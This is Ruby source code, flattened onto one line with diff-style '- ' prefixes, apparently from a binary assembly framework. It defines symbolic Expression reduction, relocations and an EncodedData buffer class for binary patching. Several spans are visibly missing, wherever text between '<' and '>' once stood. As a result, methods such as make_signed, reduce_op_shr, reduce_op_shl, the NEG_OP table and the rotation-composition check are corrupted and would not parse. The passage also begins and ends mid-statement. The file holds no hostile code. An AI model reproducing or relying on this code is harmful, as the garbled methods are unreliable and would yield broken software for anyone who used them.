self - def share_namespace(other) - return self if other.unique_labels_cache.equal? @unique_labels_cache - raise "share_ns #{(other.unique_labels_cache.keys & @unique_labels_cache.keys).inspect}" if !(other.unique_labels_cache.keys & @unique_labels_cache.keys).empty? - @unique_labels_cache.update other.unique_labels_cache - other.unique_labels_cache = @unique_labels_cache - self - end -end - -# superclass for classes similar to Expression -# must define #bind, #reduce_rec, #match_rec, #externals -class ExpressionType - def +(o) Expression[self, :+, o].reduce end - def -(o) Expression[self, :-, o].reduce end -end - -# handle immediate values, and arbitrary arithmetic/logic expression involving variables -# boolean values are treated as in C : true is 1, false is 0 -# TODO replace #type with #size => bits + #type => [:signed/:unsigned/:any/:floating] -# TODO handle floats -class Expression < ExpressionType - INT_SIZE = {} - INT_MIN = {} - INT_MAX = {} - - [8, 16, 32, 64].each { |sz| - INT_SIZE["i#{sz}".to_sym] = - INT_SIZE["u#{sz}".to_sym] = - INT_SIZE["a#{sz}".to_sym] = sz - - INT_MIN["a#{sz}".to_sym] = - INT_MIN["i#{sz}".to_sym] = -(1 << (sz-1)) # -0x8000 - INT_MIN["u#{sz}".to_sym] = 0 - - INT_MAX["i#{sz}".to_sym] = (1 << (sz-1)) - 1 # 0x7fff - INT_MAX["a#{sz}".to_sym] = - INT_MAX["u#{sz}".to_sym] = (1 << sz) - 1 # 0xffff - } - - # alternative constructor - # in operands order, and allows nesting using sub-arrays - # ex: Expression[[:-, 42], :*, [1, :+, [4, :*, 7]]] - # with a single argument, return it if already an Expression, else construct a new one (using unary +/-) - def self.[](l, op=nil, r=nil) - if not r # need to shift args - if not op - raise ArgumentError, 'invalid Expression[nil]' if not l - return l if l.kind_of? Expression - if l.kind_of?(::Numeric) and l < 0 - r = -l - op = :'-' - else - r = l - op = :'+' - end - else - r = op - op = l - end - l = nil - else - l = self[*l] if l.kind_of?(::Array) - end - r = self[*r] if r.kind_of?(::Array) - new(op, r, l) - end - - # checks if a given Expression/Integer is in the type range - # returns true if it is, false if it overflows, and nil if cannot be determined (eg unresolved variable) - def self.in_range?(val, type) - val = val.reduce if val.kind_of? self - return unless val.kind_of?(::Numeric) - - if INT_MIN[type] - val == val.to_i and - val >= INT_MIN[type] and val <= INT_MAX[type] - end - end - - # casts an unsigned value to a two-complement signed if the sign bit is set - def self.make_signed(val, bitlength) - case val - when Integer - val = val - (1 << bitlength) if val > 0 and val >> (bitlength - 1) == 1 - when Expression - val = Expression[val, :-, [(1<>, (bitlength-1)], :==, 1]]] - end - val - end - - # the operator (symbol) - attr_accessor :op - # the lefthandside expression (nil for unary expressions) - attr_accessor :lexpr - # the righthandside expression - attr_accessor :rexpr - - # basic constructor - # XXX funny args order, you should use +Expression[]+ instead - def initialize(op, rexpr, lexpr) - raise ArgumentError, "Expression: invalid arg order: #{[lexpr, op, rexpr].inspect}" if not op.kind_of?(::Symbol) - @op = op - @lexpr = lexpr - @rexpr = rexpr - end - - # recursive check of equity using #== - # will not match 1+2 and 2+1 - def ==(o) - # shortcircuit recursion - o.object_id == object_id or (o.kind_of?(Expression) and @op == o.op and @lexpr == o.lexpr and @rexpr == o.rexpr) - end - - # make it useable as Hash key (see +==+) - def hash - (@lexpr.hash + @op.hash + @rexpr.hash) & 0x7fff_ffff - end - alias eql? == - - # returns a new Expression with all variables found in the binding replaced with their value - # does not check the binding's key class except for numeric - # calls lexpr/rexpr #bind if they respond_to? it - def bind(binding = {}) - if binding[self] - return binding[self].dup - end - - l = @lexpr - r = @rexpr - if l and binding[l] - raise "internal error - bound #{l.inspect}" if l.kind_of?(::Numeric) - l = binding[l] - elsif l.kind_of? ExpressionType - l = l.bind(binding) - end - if r and binding[r] - raise "internal error - bound #{r.inspect}" if r.kind_of?(::Numeric) - r = binding[r] - elsif r.kind_of? ExpressionType - r = r.bind(binding) - end - Expression.new(@op, r, l) - end - - # bind in place (replace self.lexpr/self.rexpr with the binding value) - # only recurse with Expressions (does not use respond_to?) - def bind!(binding = {}) - if @lexpr.kind_of?(Expression) - @lexpr.bind!(binding) - elsif @lexpr - @lexpr = binding[@lexpr] || @lexpr - end - if @rexpr.kind_of?(Expression) - @rexpr.bind!(binding) - elsif @rexpr - @rexpr = binding[@rexpr] || @rexpr - end - self - end - - # reduce_lambda is a callback called after the standard reduction procedure for custom algorithms - # the lambda may return a new expression or nil (to keep the old expr) - # exemple: lambda { |e| e.lexpr if e.kind_of? Expression and e.op == :& and e.rexpr == 0xffff_ffff } - # returns old lambda - def self.reduce_lambda(&b) - old = @@reduce_lambda - @@reduce_lambda = b if block_given? - old - end - def self.reduce_lambda=(p) - @@reduce_lambda = p - end - @@reduce_lambda = nil - - # returns a simplified copy of self - # can return an +Expression+ or a +Numeric+, may return self - # see +reduce_rec+ for simplifications description - # if given a block, it will temporarily overwrite the global @@reduce_lambda XXX THIS IS NOT THREADSAFE - def reduce(&b) - old_rp, @@reduce_lambda = @@reduce_lambda, b if b - case e = reduce_rec - when Expression, Numeric; e - else Expression[e] - end - ensure - @@reduce_lambda = old_rp if b - end - - # resolves logic operations (true || false, etc) - # computes numeric operations (1 + 3) - # expands substractions to addition of the opposite - # reduces double-oppositions (-(-1) => 1) - # reduces addition of 0 and unary + - # canonicalize additions: put variables in the lhs, descend addition tree in the rhs => (a + (b + (c + 12))) - # make formal reduction if finds somewhere in addition tree (a) and (-a) - def reduce_rec - l = @lexpr.kind_of?(ExpressionType) ? @lexpr.reduce_rec : @lexpr - r = @rexpr.kind_of?(ExpressionType) ? @rexpr.reduce_rec : @rexpr - - if @@reduce_lambda - l = @@reduce_lambda[l] || l if not @lexpr.kind_of? Expression - r = @@reduce_lambda[r] || r if not @rexpr.kind_of? Expression - end - - v = - if r.kind_of?(::Numeric) and (not l or l.kind_of?(::Numeric)) - case @op - when :+; l ? l + r : r - when :-; l ? l - r : -r - when :'!'; raise 'internal error' if l ; (r == 0) ? 1 : 0 - when :'~'; raise 'internal error' if l ; ~r - when :'&&', :'||', :'>', :'<', :'>=', :'<=', :'==', :'!=' - raise 'internal error' if not l - case @op - when :'&&'; (l != 0) && (r != 0) - when :'||'; (l != 0) || (r != 0) - when :'>' ; l > r - when :'>='; l >= r - when :'<' ; l < r - when :'<='; l <= r - when :'=='; l == r - when :'!='; l != r - end ? 1 : 0 - else - l.send(@op, r) - end - elsif rp = @@reduce_op[@op] - rp[self, l, r] - end - - ret = case v - when nil - # no dup if no new value - (r == :unknown or l == :unknown) ? :unknown : - ((r == @rexpr and l == @lexpr) ? self : Expression.new(@op, r, l)) - when Expression - (v.lexpr == :unknown or v.rexpr == :unknown) ? :unknown : v - else v - end - if @@reduce_lambda and ret.kind_of? ExpressionType and newret = @@reduce_lambda[ret] and newret != ret - if newret.kind_of? ExpressionType - ret = newret.reduce_rec - else - ret = newret - end - end - ret - end - - @@reduce_op = { - :+ => lambda { |e, l, r| e.reduce_op_plus(l, r) }, - :- => lambda { |e, l, r| e.reduce_op_minus(l, r) }, - :'&&' => lambda { |e, l, r| e.reduce_op_andand(l, r) }, - :'||' => lambda { |e, l, r| e.reduce_op_oror(l, r) }, - :>> => lambda { |e, l, r| e.reduce_op_shr(l, r) }, - :<< => lambda { |e, l, r| e.reduce_op_shl(l, r) }, - :'!' => lambda { |e, l, r| e.reduce_op_not(l, r) }, - :== => lambda { |e, l, r| e.reduce_op_eql(l, r) }, - :'!=' => lambda { |e, l, r| e.reduce_op_neq(l, r) }, - :^ => lambda { |e, l, r| e.reduce_op_xor(l, r) }, - :& => lambda { |e, l, r| e.reduce_op_and(l, r) }, - :| => lambda { |e, l, r| e.reduce_op_or(l, r) }, - :* => lambda { |e, l, r| e.reduce_op_times(l, r) }, - :/ => lambda { |e, l, r| e.reduce_op_div(l, r) }, - :% => lambda { |e, l, r| e.reduce_op_mod(l, r) }, - } - - - def self.reduce_op - @@reduce_op - end - - def reduce_op_plus(l, r) - if not l; r # +x => x - elsif r == 0; l # x+0 => x - elsif l == :unknown or r == :unknown; :unknown - elsif l.kind_of?(::Numeric) - if r.kind_of? Expression and r.op == :+ - # 1+(x+y) => x+(y+1) - Expression[r.lexpr, :+, [r.rexpr, :+, l]].reduce_rec - else - # 1+a => a+1 - Expression[r, :+, l].reduce_rec - end - # (a+b)+foo => a+(b+foo) - elsif l.kind_of? Expression and l.op == :+; Expression[l.lexpr, :+, [l.rexpr, :+, r]].reduce_rec - elsif l.kind_of? Expression and r.kind_of? Expression and l.op == :% and r.op == :% and l.rexpr.kind_of?(::Integer) and l.rexpr == r.rexpr - Expression[[l.lexpr, :+, r.lexpr], :%, l.rexpr].reduce_rec - elsif l.kind_of? Expression and l.op == :- and not l.lexpr - reduce_rec_add_rec(r, l.rexpr) - elsif l.kind_of? Expression and r.kind_of? Expression and l.op == :& and r.op == :& and l.rexpr.kind_of?(::Integer) and r.rexpr.kind_of?(::Integer) and l.rexpr & r.rexpr == 0 - # (a&0xf0)+(b&0x0f) => (a&0xf0)|(b&0x0f) - Expression[l, :|, r].reduce_rec - else - reduce_rec_add_rec(r, Expression.new(:-, l, nil)) - end - end - - def reduce_rec_add_rec(cur, neg_l) - if neg_l == cur - # -l found - 0 - elsif cur.kind_of?(Expression) and cur.op == :+ - # recurse - if newl = reduce_rec_add_rec(cur.lexpr, neg_l) - Expression[newl, cur.op, cur.rexpr].reduce_rec - elsif newr = reduce_rec_add_rec(cur.rexpr, neg_l) - Expression[cur.lexpr, cur.op, newr].reduce_rec - end - end - end - - def reduce_op_minus(l, r) - if l == :unknown or r == :unknown; :unknown - elsif not l and r.kind_of? Expression and (r.op == :- or r.op == :+) - if r.op == :- # no lexpr (reduced) - # -(-x) => x - r.rexpr - else # :+ and lexpr (r is reduced) - # -(a+b) => (-a)+(-b) - Expression.new(:+, Expression.new(:-, r.rexpr, nil), Expression.new(:-, r.lexpr, nil)).reduce_rec - end - elsif l.kind_of? Expression and l.op == :+ and l.lexpr == r - # shortcircuit for a common occurence [citation needed] - # (a+b)-a - l.rexpr - elsif l - # a-b => a+(-b) - Expression[l, :+, [:-, r]].reduce_rec - end - end - - def reduce_op_andand(l, r) - if l == 0 # shortcircuit eval - 0 - elsif l == 1 - Expression[r, :'!=', 0].reduce_rec - elsif r == 0 - 0 # XXX l could be a special ExprType with sideeffects ? - end - end - - def reduce_op_oror(l, r) - if l.kind_of?(::Numeric) and l != 0 # shortcircuit eval - 1 - elsif l == 0 - Expression[r, :'!=', 0].reduce_rec - elsif r == 0 - Expression[l, :'!=', 0].reduce_rec - end - end - - def reduce_op_shr(l, r) - if l == 0; 0 - elsif r == 0; l - elsif l.kind_of? Expression and l.op == :>> - Expression[l.lexpr, :>>, [l.rexpr, :+, r]].reduce_rec - elsif r.kind_of? Integer and l.kind_of? Expression and [:&, :|, :^].include? l.op - # (a | b) << i => (a<>, r], l.op, [l.rexpr, :>>, r]].reduce_rec - end - end - - def reduce_op_shl(l, r) - if l == 0; 0 - elsif r == 0; l - elsif l.kind_of? Expression and l.op == :<< - Expression[l.lexpr, :<<, [l.rexpr, :+, r]].reduce_rec - elsif l.kind_of? Expression and l.op == :>> and r.kind_of? Integer and l.rexpr.kind_of? Integer - # (a >> 1) << 1 == a & 0xfffffe - if r == l.rexpr - Expression[l.lexpr, :&, (-1 << r)].reduce_rec - elsif r > l.rexpr - Expression[[l.lexpr, :<<, r-l.rexpr], :&, (-1 << r)].reduce_rec - else - Expression[[l.lexpr, :>>, l.rexpr-r], :&, (-1 << r)].reduce_rec - end - elsif r.kind_of? Integer and l.kind_of? Expression and [:&, :|, :^].include? l.op - # (a | b) << i => (a< :'!=', :'!=' => :'==', :< => :>=, :> => :<=, :<= => :>, :>= => :<} - - def reduce_op_not(l, r) - if r.kind_of? Expression and nop = NEG_OP[r.op] - Expression[r.lexpr, nop, r.rexpr].reduce_rec - end - end - - def reduce_op_eql(l, r) - if l == r; 1 - elsif r == 0 and l.kind_of? Expression and nop = NEG_OP[l.op] - Expression[l.lexpr, nop, l.rexpr].reduce_rec - elsif r == 1 and l.kind_of? Expression and NEG_OP[l.op] - l - elsif r == 0 and l.kind_of? Expression and l.op == :+ - if l.rexpr.kind_of? Expression and l.rexpr.op == :- and not l.rexpr.lexpr - Expression[l.lexpr, :==, l.rexpr.rexpr].reduce_rec - elsif l.rexpr.kind_of?(::Integer) - Expression[l.lexpr, :==, -l.rexpr].reduce_rec - end - end - end - - def reduce_op_neq(l, r) - if l == r; 0 - end - end - - def reduce_op_xor(l, r) - if l == :unknown or r == :unknown; :unknown - elsif l == 0; r - elsif r == 0; l - elsif l == r; 0 - elsif r == 1 and l.kind_of? Expression and NEG_OP[l.op] - Expression[nil, :'!', l].reduce_rec - elsif l.kind_of?(::Numeric) - if r.kind_of? Expression and r.op == :^ - # 1^(x^y) => x^(y^1) - Expression[r.lexpr, :^, [r.rexpr, :^, l]].reduce_rec - else - # 1^a => a^1 - Expression[r, :^, l].reduce_rec - end - elsif l.kind_of? Expression and l.op == :^ - # (a^b)^c => a^(b^c) - Expression[l.lexpr, :^, [l.rexpr, :^, r]].reduce_rec - elsif r.kind_of? Expression and r.op == :^ - if r.rexpr == l - # a^(a^b) => b - r.lexpr - elsif r.lexpr == l - # a^(b^a) => b - r.rexpr - else - # a^(b^(c^(a^d))) => b^(a^(c^(a^d))) - # XXX ugly.. - tr = r - found = false - while not found and tr.kind_of?(Expression) and tr.op == :^ - found = true if tr.lexpr == l or tr.rexpr == l - tr = tr.rexpr - end - if found - Expression[r.lexpr, :^, [l, :^, r.rexpr]].reduce_rec - end - end - elsif l.kind_of?(Expression) and l.op == :& and l.rexpr.kind_of?(::Integer) and (l.rexpr & (l.rexpr+1)) == 0 - if r.kind_of?(::Integer) and r & l.rexpr == r - # (a&0xfff)^12 => (a^12)&0xfff - Expression[[l.lexpr, :^, r], :&, l.rexpr].reduce_rec - elsif r.kind_of?(Expression) and r.op == :& and r.rexpr.kind_of?(::Integer) and r.rexpr == l.rexpr - # (a&0xfff)^(b&0xfff) => (a^b)&0xfff - Expression[[l.lexpr, :^, r.lexpr], :&, l.rexpr].reduce_rec - end - end - end - - def reduce_op_and(l, r) - if l == 0 or r == 0; 0 - elsif r == 1 and l.kind_of?(Expression) and [:'==', :'!=', :<, :>, :<=, :>=].include?(l.op) - l - elsif l == r; l - elsif l.kind_of?(Integer); Expression[r, :&, l].reduce_rec - elsif l.kind_of?(Expression) and l.op == :&; Expression[l.lexpr, :&, [l.rexpr, :&, r]].reduce_rec - elsif l.kind_of?(Expression) and [:|, :^].include?(l.op) and r.kind_of?(Integer) and (l.op == :| or (r & (r+1)) != 0) - # (a ^| b) & i => (a&i ^| b&i) - Expression[[l.lexpr, :&, r], l.op, [l.rexpr, :&, r]].reduce_rec - elsif r.kind_of?(::Integer) and l.kind_of?(Expression) and (r & (r+1)) == 0 - # foo & 0xffff - case l.op - when :+, :^ - if l.lexpr.kind_of?(Expression) and l.lexpr.op == :& and - l.lexpr.rexpr.kind_of?(::Integer) and l.lexpr.rexpr & r == r - # ((a&m) + b) & m => (a+b) & m - Expression[[l.lexpr.lexpr, l.op, l.rexpr], :&, r].reduce_rec - elsif l.rexpr.kind_of?(Expression) and l.rexpr.op == :& and - l.rexpr.rexpr.kind_of?(::Integer) and l.rexpr.rexpr & r == r - # (a + (b&m)) & m => (a+b) & m - Expression[[l.lexpr, l.op, l.rexpr.lexpr], :&, r].reduce_rec - else - Expression[l, :&, r] - end - when :| - # rol/ror composition - reduce_rec_composerol l, r - else - Expression[l, :&, r] - end - end - end - - # a check to see if an Expr is the composition of two rotations (rol eax, 4 ; rol eax, 6 => rol eax, 10) - # this is a bit too ugly to stay in the main reduce_rec body. - def reduce_rec_composerol(e, mask) - m = Expression[['var', :sh_op, 'amt'], :|, ['var', :inv_sh_op, 'inv_amt']] - if vars = e.match(m, 'var', :sh_op, 'amt', :inv_sh_op, 'inv_amt') and vars[:sh_op] == {:>> => :<<, :<< => :>>}[vars[:inv_sh_op]] and - ((vars['amt'].kind_of?(::Integer) and vars['inv_amt'].kind_of?(::Integer) and ampl = vars['amt'] + vars['inv_amt']) or - (vars['amt'].kind_of? Expression and vars['amt'].op == :% and vars['amt'].rexpr.kind_of?(::Integer) and - vars['inv_amt'].kind_of? Expression and vars['inv_amt'].op == :% and vars['amt'].rexpr == vars['inv_amt'].rexpr and ampl = vars['amt'].rexpr)) and - mask == (1<> => :<<, :<< => :>>}[ivars[:inv_sh_op]] and - ((ivars['amt'].kind_of?(::Integer) and ivars['inv_amt'].kind_of?(::Integer) and ampl = ivars['amt'] + ivars['inv_amt']) or - (ivars['amt'].kind_of? Expression and ivars['amt'].op == :% and ivars['amt'].rexpr.kind_of?(::Integer) and - ivars['inv_amt'].kind_of? Expression and ivars['inv_amt'].op == :% and ivars['amt'].rexpr == ivars['inv_amt'].rexpr and ampl = ivars['amt'].rexpr)) - if ivars[:sh_op] != vars[:sh_op] - # ensure the rotations are the same orientation - ivars[:sh_op], ivars[:inv_sh_op] = ivars[:inv_sh_op], ivars[:sh_op] - ivars['amt'], ivars['inv_amt'] = ivars['inv_amt'], ivars['amt'] - end - amt = Expression[[vars['amt'], :+, ivars['amt']], :%, ampl] - invamt = Expression[[vars['inv_amt'], :+, ivars['inv_amt']], :%, ampl] - Expression[[[[ivars['var'], :&, mask], vars[:sh_op], amt], :|, [[ivars['var'], :&, mask], vars[:inv_sh_op], invamt]], :&, mask].reduce_rec - else - Expression[e, :&, mask] - end - end - - def reduce_op_or(l, r) - if l == 0; r - elsif r == 0; l - elsif l == -1 or r == -1; -1 - elsif l == r; l - elsif l.kind_of? Integer; Expression[r, :|, l].reduce_rec - elsif l.kind_of? Expression and l.op == :| - # (a|b)|c => a|(b|c) - Expression[l.lexpr, :|, [l.rexpr, :|, r]].reduce_rec - elsif l.kind_of? Expression and l.op == :& and r.kind_of? Expression and r.op == :& and l.lexpr == r.lexpr - # (a&b)|(a&c) => a&(b|c) - Expression[l.lexpr, :&, [l.rexpr, :|, r.rexpr]].reduce_rec - end - end - - def reduce_op_times(l, r) - if l == 0 or r == 0; 0 - elsif l == 1; r - elsif r == 1; l - elsif r.kind_of? Integer; Expression[r, :*, l].reduce_rec - elsif r.kind_of? Expression and r.op == :*; Expression[[l, :*, r.lexpr], :*, r.rexpr].reduce_rec - elsif l.kind_of? Integer and r.kind_of? Expression and r.op == :* and r.lexpr.kind_of? Integer; Expression[l*r.lexpr, :*, r.rexpr].reduce_rec # XXX need & regsize.. - elsif l.kind_of? Integer and r.kind_of? Expression and r.op == :+ and r.rexpr.kind_of? Integer; Expression[[l, :*, r.lexpr], :+, l*r.rexpr].reduce_rec - end - end - - def reduce_op_div(l, r) - if r == 0 - elsif r.kind_of? Integer and l.kind_of? Expression and l.op == :+ and l.rexpr.kind_of? Integer and l.rexpr % r == 0 - Expression[[l.lexpr, :/, r], :+, l.rexpr/r].reduce_rec - elsif r.kind_of? Integer and l.kind_of? Expression and l.op == :* and l.lexpr % r == 0 - Expression[l.lexpr/r, :*, l.rexpr].reduce_rec - end - end - - def reduce_op_mod(l, r) - if r.kind_of?(Integer) and r != 0 and (r & (r-1) == 0) - Expression[l, :&, r-1].reduce_rec - end - end - - - # a pattern-matching method - # Expression[42, :+, 28].match(Expression['any', :+, 28], 'any') => {'any' => 42} - # Expression[42, :+, 28].match(Expression['any', :+, 'any'], 'any') => false - # Expression[42, :+, 42].match(Expression['any', :+, 'any'], 'any') => {'any' => 42} - # vars can match anything except nil - def match(target, *vars) - match_rec(target, vars.inject({}) { |h, v| h.update v => nil }) - end - - def match_rec(target, vars) - return false if not target.kind_of? Expression - [target.lexpr, target.op, target.rexpr].zip([@lexpr, @op, @rexpr]) { |targ, exp| - if targ and vars[targ] - return false if exp != vars[targ] - elsif targ and vars.has_key? targ - return false if not vars[targ] = exp - elsif targ.kind_of? ExpressionType - return false if not exp.kind_of? ExpressionType or not exp.match_rec(targ, vars) - else - return false if targ != exp - end - } - vars - end - - # returns the array of non-numeric members of the expression - # if a variables appears 3 times, it will be present 3 times in the returned array - def externals - a = [] - [@rexpr, @lexpr].each { |e| - case e - when ExpressionType; a.concat e.externals - when nil, ::Numeric; a - else a << e - end - } - a - end - - # returns the externals that appears in the expression, does not walk through other ExpressionType - def expr_externals(include_exprs=false) - a = [] - [@rexpr, @lexpr].each { |e| - case e - when Expression; a.concat e.expr_externals(include_exprs) - when nil, ::Numeric; a - when ExpressionType; include_exprs ? a << e : a - else a << e - end - } - a - end - - def inspect - "Expression[#{@lexpr.inspect.sub(/^Expression/, '') + ', ' if @lexpr}#{@op.inspect + ', ' if @lexpr or @op != :+}#{@rexpr.inspect.sub(/^Expression/, '')}]" - end - - Unknown = self[:unknown] -end - -# An Expression with a custom string representation -# used to show #define constants, struct offsets, func local vars, etc -class ExpressionString < ExpressionType - attr_accessor :expr, :str, :type, :hide_str - def reduce; expr.reduce; end - def reduce_rec; expr.reduce_rec; end - def bind(*a); expr.bind(*a); end - def externals; expr.externals; end - def expr_externals; expr.expr_externals; end - def match_rec(*a); expr.match_rec(*a); end - def initialize(expr, str, type=nil) - @expr = Expression[expr] - @str = str - @type = type - end - def render_str ; [str] ; end - def inspect ; "ExpressionString.new(#{@expr.inspect}, #{str.inspect}, #{type.inspect})" ; end -end - -# an EncodedData relocation, specifies a value to patch in -class Relocation - # the relocation value (an Expression) - attr_accessor :target - # the relocation expression type - attr_accessor :type - # the endianness of the relocation - attr_accessor :endianness - - include Backtrace - - def initialize(target, type, endianness, backtrace = nil) - raise ArgumentError, "bad args #{[target, type, endianness].inspect}" if not target.kind_of? Expression or not type.kind_of?(::Symbol) or not endianness.kind_of?(::Symbol) - @target, @type, @endianness, @backtrace = target, type, endianness, backtrace - end - - # fixup the encodeddata with value (reloc starts at off) - def fixup(edata, off, value) - str = Expression.encode_imm(value, @type, @endianness, @backtrace) - edata.fill off - edata.data[off, str.length] = str - end - - # size of the relocation field, in bytes - def length - Expression::INT_SIZE[@type]/8 - end -end - -# a String-like, with export/relocation informations added -class EncodedData - # string with raw data - attr_accessor :data - # hash, key = offset within data, value = +Relocation+ - attr_accessor :reloc - # hash, key = export name, value = offset within data - use add_export to update - attr_accessor :export - # hash, key = offset, value = 1st export name - attr_accessor :inv_export - # virtual size of data (all 0 by default, see +fill+) - attr_accessor :virtsize - # arbitrary pointer, often used when decoding immediates - # may be initialized with an export value - attr_reader :ptr # custom writer - def ptr=(p) @ptr = @export[p] || p end - - # opts' keys in :reloc, :export, :virtsize, defaults to empty/empty/data.length - def initialize(data='', opts={}) - if data.respond_to?(:force_encoding) and data.encoding.name != 'ASCII-8BIT' and data.length > 0 - puts "Forcing edata.data.encoding = BINARY at", caller if $DEBUG - data = data.dup.force_encoding('binary') - end - @data = data - @reloc = opts[:reloc] || {} - @export = opts[:export] || {} - @inv_export = @export.invert - @virtsize = opts[:virtsize] || @data.length - @ptr = 0 - end - - def add_export(label, off=@ptr, set_inv=false) - @export[label] = off - if set_inv or not @inv_export[off] - @inv_export[off] = label - end - label - end - - def del_export(label, off=@export[label]) - @export.delete label - if e = @export.index(off) - @inv_export[off] = e - else - @inv_export.delete off - end - end - - # returns the size of raw data, that is [data.length, last relocation end].max - def rawsize - [@data.length, *@reloc.map { |off, rel| off + rel.length } ].max - end - # String-like - alias length virtsize - # String-like - alias size virtsize - - def empty? - @virtsize == 0 - end - - def eos? - ptr.to_i >= @virtsize - end - - # returns a copy of itself, with reloc/export duped (but not deep) - def dup - self.class.new @data.dup, :reloc => @reloc.dup, :export => @export.dup, :virtsize => @virtsize - end - - # resolve relocations: - # calculate each reloc target using Expression#bind(binding) - # if numeric, replace the raw data with the encoding of this value (+fill+s preceding data if needed) and remove the reloc - # if replace_target is true, the reloc target is replaced with its bound counterpart - def fixup_choice(binding, replace_target) - return if binding.empty? - @reloc.keys.each { |off| - val = @reloc[off].target.bind(binding).reduce - if val.kind_of? Integer - reloc = @reloc[off] - reloc.fixup(self, off, val) - @reloc.delete(off) # delete only if not overflowed - elsif replace_target - @reloc[off].target = val - end - } - end - - # +fixup_choice+ binding, false - def fixup(binding) - fixup_choice(binding, false) - end - - # +fixup_choice+ binding, true - def fixup!(binding) - fixup_choice(binding, true) - end - - # returns a default binding suitable for use in +fixup+ - # every export is expressed as base + offset - # base defaults to the first export name + its offset - def binding(base = nil) - if not base - key = @export.index(@export.values.min) - return {} if not key - base = (@export[key] == 0 ? key : Expression[key, :-, @export[key]]) - end - binding = {} - @export.each { |n, o| binding.update n => Expression.new(:+, o, base) } - binding - end - - # returns an array of variables that needs to be defined for a complete #fixup - # ie the list of externals for all relocations - def reloc_externals(interns = @export.keys) - @reloc.values.map { |r| r.target.externals }.flatten.uniq - interns - end - - # returns the offset where the relocation for target t is to be applied - def offset_of_reloc(t) - t = Expression[t] - @reloc.keys.find { |off| @reloc[off].target == t } - end - - # fill virtual space by repeating pattern (String) up to len - # expand self if len is larger than self.virtsize - def fill(len = @virtsize, pattern = [0].pack('C')) - @virtsize = len if len > @virtsize - @data = @data.to_str.ljust(len, pattern) if len > @data.length - end - - # rounds up virtsize to next multiple of len - def align(len, pattern=nil) - @virtsize = EncodedData.align_size(@virtsize, len) - fill(@virtsize, pattern) if pattern - end - - # returns the value val rounded up to next multiple of len - def self.align_size(val, len) - return val if len == 0 - ((val + len - 1) / len).to_i * len - end - - # concatenation of another +EncodedData+ (or nil/Integer/anything supporting String#<<) - def <<(other) - case other - when nil - when ::Integer - fill - @data = @data.to_str if not @data.kind_of? String - @data << other - @virtsize += 1 - when EncodedData - fill if not other.data.empty? - other.reloc.each { |k, v| @reloc[k + @virtsize] = v } if not other.reloc.empty? - if not other.export.empty? - other.export.each { |k, v| - if @export[k] and @export[k] != v + @virtsize - cf = (other.export.keys & @export.keys).find_all { |k_| other.export[k_] != @export[k_] - @virtsize } - raise "edata merge: label conflict #{cf.inspect}" - end - @export[k] = v + @virtsize - } - other.inv_export.each { |k, v| @inv_export[@virtsize + k] = v } - end - if @data.empty?; @data = other.data.dup - elsif not @data.kind_of?(String); @data = @data.to_str << other.data - else @data << other.data - end - @virtsize += other.virtsize - else - fill - if other.respond_to?(:force_encoding) and other.encoding.name != 'ASCII-8BIT' - puts "Forcing edata.data.encoding = BINARY at", caller if $DEBUG - other = other.dup.force_encoding('binary') - end - if @data.empty?; @data = other.dup - elsif not @data.kind_of?(String); @data = @data.to_str << other - else @data << other - end - @virtsize += other.length - end - - self - end - - # equivalent to dup << other, filters out Integers & nil - def +(other) - raise ArgumentError if not other or other.kind_of?(Integer) - dup << other - end - - # slice - def [](from, len=nil) - if not len and from.kind_of? Range - b = from.begin - e = from.end - b = @export[b] if @export[b] - e = @export[e] if @export[e] - b = b + @virtsize if b < 0 - e = e + @virtsize if e < 0 - len = e - b - len += 1 if not from.exclude_end? - from = b - end - from = @export[from] if @export[from] - from = from + @virtsize if from < 0 - return if from > @virtsize or from < 0 - - return @data[from] if not len - len = @virtsize - from if from+len > @virtsize - ret = EncodedData.new @data[from, len] - ret.virtsize = len - @reloc.each { |o, r| - ret.reloc[o - from] = r if o >= from and o + r.length <= from+len - } - @export.each { |e_, o| - ret.export[e_] = o - from if o >= from and o <= from+len # XXX include end ? - } - @inv_export.each { |o, e_| - ret.inv_export[o-from] = e_ if o >= from and o <= from+len - } - ret - end - - # slice replacement, supports size change (shifts following relocs/exports) - # discards old exports/relocs from the overwritten space - def []=(from, len, val=nil) - if not val - val = len - len = nil - end - if not len and from.kind_of?(::Range) - b = from.begin - e = from.end - b = @export[b] if @export[b] - e = @export[e] if @export[e] - b = b + @virtsize if b < 0 - e = e + @virtsize if e < 0 - len = e - b - len += 1 if not from.exclude_end? - from = b - end - from = @export[from] || from - raise "invalid offset #{from}" if not from.kind_of?(::Integer) - from = from + @virtsize if from < 0 - - if not len - val = val.chr if val.kind_of?(::Integer) - len = val.length - end - raise "invalid slice length #{len}" if not len.kind_of?(::Integer) or len < 0 - - if from >= @virtsize - len = 0 - elsif from+len > @virtsize - len = @virtsize-from - end - - val = EncodedData.new << val - - # remove overwritten metadata - @export.delete_if { |name, off| off > from and off < from + len } - @reloc.delete_if { |off, rel| off - rel.length > from and off < from + len } - # shrink/grow - if val.length != len - diff = val.length - len - @export.keys.each { |name| @export[name] = @export[name] + diff if @export[name] > from } - @inv_export.keys.each { |off| @inv_export[off+diff] = @inv_export.delete(off) if off > from } - @reloc.keys.each { |off| @reloc[off + diff] = @reloc.delete(off) if off > from } - if @virtsize >= from+len - @virtsize += diff - end - end - - @virtsize = from + val.length if @virtsize < from + val.length - - if from + len < @data.length # patch real data - val.fill - @data[from, len] = val.data - elsif not val.data.empty? # patch end of real data - @data << ([0].pack('C')*(from-@data.length)) if @data.length < from - @data[from..-1] = val.data - else # patch end of real data with fully virtual - @data = @data[0, from] - end - val.export.each { |name, off| @export[name] = from + off } - val.inv_export.each { |off, name| @inv_export[from+off] = name } - val.reloc.each { |off, rel| @reloc[from + off] = rel } - end - - # replace a portion of self - # from/to may be Integers (offsets) or labels (from self.export) - # content is a String or an EncodedData, which will be inserted in the specified location (padded if necessary) - # raise if the string does not fit in. - def patch(from, to, content) - from = @export[from] || from - raise "invalid offset specification #{from}" if not from.kind_of? Integer - to = @export[to] || to - raise "invalid offset specification #{to}" if not to.kind_of? Integer - raise EncodeError, 'cannot patch data: new content too long' if to - from < content.length - self[from, content.length] = content - end - - # returns a list of offsets where /pat/ can be found inside @data - # scan is done per chunk of chunksz bytes, with a margin for chunk-overlapping patterns - # yields each offset found, and only include it in the result if the block returns !false - def pattern_scan(pat, chunksz=nil, margin=nil) - chunksz ||= 4*1024*1024 # scan 4MB at a time - margin ||= 65536 # add this much bytes at each chunk to find /pat/ over chunk boundaries - pat = Regexp.new(Regexp.escape(pat)) if pat.kind_of?(::String) - - found = [] - chunkoff = 